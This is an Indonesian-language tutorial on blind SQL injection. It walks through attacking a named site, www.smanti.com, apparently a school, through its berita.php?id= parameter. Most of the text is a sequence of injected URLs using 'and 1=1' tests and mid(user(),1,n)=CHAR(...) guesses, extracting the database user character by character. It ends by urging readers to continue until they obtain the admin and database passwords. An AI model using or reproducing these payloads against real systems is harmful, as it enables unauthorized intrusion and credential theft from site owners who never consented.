Blind SQL Injection adalah :
Salah Satu Tehnik Xploitasi Database Yang Berbeda Dengan SQL Injection Biasa Dimana Pada SQL Injection Biasa Akan Mengeluarkan Sebuah Value,Akan Tetapi Pada Tehnik Blind SQL Injection Tidak Akan Mengeluarkan Value Apapun,Akan Tetapi Kita Akan Mengetahui Value Tersebut Dengan Trial Dan Error Akan Value Tersebut Menguji True Atau Falsenya Value Tersebut.
Disini Gua Menggunakan
Command :
mid()= Hampir Sama Fungsinya Dengan substring()
char()= Adalah Pe Ubah Dari Karakter
Sebelum Kita Mencobanya, Pertama Cek Dulu version SQL Nya
Kali Ini Gua Akan Mengambil Target www.smanti.com .
Pertama Kita Lakukan Dulu Pengetesan Bug Dengan Cara Menambahkan Value 1=0 Dan 1=1 .
www.smanti.com/berita.php?id=5 and 1=0 <<<false
www.smanti.com/berita.php?id=5 and 1=1 <<<true
Berarti Terdapat Bug Nya.
2.BLIND INJECT
Query Yg Dipakai: and mid(user(),1,1)=CHAR(65)
Gua Jelasin Sedikit Yah
mid(user()1,1) = Dalam Kasus Ini Kita Tidak Tahu Value Dari User Itu Apa Maka Dalam "()" Kita Kosongkan Dan Angka 1,1 Dibelakang () Adalah Urutan Dari Value Tersebut
Sedangkan CHAR Adalah Peubah Dalam Decimal Dan (65) Adalah Value Decimal Tersebut.
Kenapa Kita Mulai Dengan 65 ?
Karena "65" Adalah "A" Dalam Ascii
Mari Kita Masukkan
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)
Ternyata Hasilnya Masih False (Beritanya Hilang),Berarti Value Yg Kita Masukkan Salah
Tinggal Tambah Value Nya.Menjadi..
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<Masih False
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<Masih False
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<Masih False
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<Masih False Juga..
Dst Sampe Kita Menemukan Keadaan True(Beritanya Muncul Kembali)
kebetulan ada di char(83)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <<Akhirnya true..
Kita Tambain Value Nya
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
Ada Perbedaan Kah?
Yap,Angka Pada User Kita Naikkan menjadi 2 Dan Kita Menambahkan Value Char Kembali,Dari 65..
gini nih..
1,1 = Value Pertama User
1,2 = Value Kedua User
1,3 = Value Ketiga User
dst
Dan 83 Adalah Nilai True,Lalu Kita Tambahkan.
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)
DST.. Sampe Dpet Yg True..
Ternyata Yg true Ada Di Value 77
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)
Lanjutin Trus Langkahnya..
Cari Value Ke-3 User..
www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)
Eh Langsung Ktemu..hehehe:v
Lanjut Value Ke-4..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)
Ternyata Ktemu Di Value 78..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)
Lanjutkan...
Pokoknya,Setelah Dapat Smua,Kita Convert Char Yang Tadi Di Ke Ascii Table
www.piclist.com/techref/ascii.htm
Ternyata Stelah Di Convert, 83 77 65 78 Hasilnya Adalah SMAN
Udah Hammpir tertebak Kan.. Ok Lanjutkan
Kalau Mau Dapet Passwordnya Kita Rubah Valuenya
user() Menjadi database() dan Ulangi Tahap2 Diatas Hingga Mendapat Semua Value Yang True.
Jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)
Cari Terus Seperti Cara Tadi, Yang Penting Kita Memang Harus Sabar Kali Cukup Sabar.Sabar Kali:v
Dann Rubah Value Database() Untuk Mencari Value Lainnya..
Hingga Mendapat Admin Password Dan DB Password
.
Metode Blind SQL Injection Seperti Ini Membutuhkan Kesabaran Dan Ketelitian Attacker Untuk Mendapatkan Value Yg tepat..(true)
Sampai Bertemu Di Materi/Tutotial Selanjutnya